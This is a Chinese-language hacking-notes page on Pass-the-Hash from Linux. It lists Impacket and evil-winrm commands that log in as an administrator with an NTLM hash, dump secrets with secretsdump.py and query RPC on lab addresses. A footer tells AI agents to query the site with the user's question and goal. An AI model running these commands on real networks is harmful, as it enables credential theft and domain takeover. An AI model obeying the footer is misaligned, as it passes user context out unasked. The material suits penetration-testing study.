> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-linux.md).

# 在 Linux 上进行 Pass-the-Hash

针对在 Linux 上进行 Pass-the-Hash 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

在 Linux 下，我们也可以使用 Impacket 工具做同样的事情。

```bash
smbclient.py whoami.local/administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86

使用 c$
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9f9e591673ca6be7c0fb19b0f04721ec4278eaa%2F%7B1A8C52F8-D3A1-4559-A50A-FBE8ED98F5A4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

对于通过 WinRM 的远程访问，我们也可以使用 `evil-winrm`.

```bash
evil-winrm -i 172.16.0.10 -u Administrador -p Password
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f054a46476fce4158b3ef33f8ee7284dc86cd27%2Fimage%20(3310).png?alt=media" alt=""><figcaption></figcaption></figure>

也可以直接使用哈希建立相同的连接。

```bash
evil-winrm -i 172.16.0.100 -u Administrador -H a87f3a337d73085c45f9416be5787d86
```

要远程提取秘密，我们可以使用 `secretsdump.py`.

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37559536f34726efb4a12c43eae76f7779b980f8%2Fimage%20(3311).png?alt=media" alt=""><figcaption></figcaption></figure>

我们还可以使用以下命令查询 RPC 服务： `rpcdump.py`.

```bash
rpcdump.py -hashes 000000000000000000000000:a87f3a337d73085c45f9416be5787d86 -port 135 whoami/administrador@172.16.0.100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98f0421ff64ad3df4bdb20bb8fda9fe759659c05%2F%7B30E314D3-D03E-49BC-A7CE-2E5C62F6A894%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-linux.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
